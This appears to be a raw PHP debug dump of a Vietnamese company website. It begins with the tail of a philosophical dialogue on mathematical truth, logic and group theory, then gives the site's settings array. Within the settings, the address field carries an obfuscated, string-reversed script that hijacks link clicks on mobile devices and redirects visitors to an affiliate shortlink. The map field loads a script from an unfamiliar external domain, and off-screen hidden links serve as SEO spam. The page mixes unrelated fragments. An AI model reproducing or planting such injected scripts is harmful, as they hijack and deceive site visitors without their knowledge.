biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-10', 'status' => '1', 'view' => '61823', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'setting' => array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ), 'description_for_layout' => '', 'keywords_for_layout' => '', 'tintucnoibat' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), 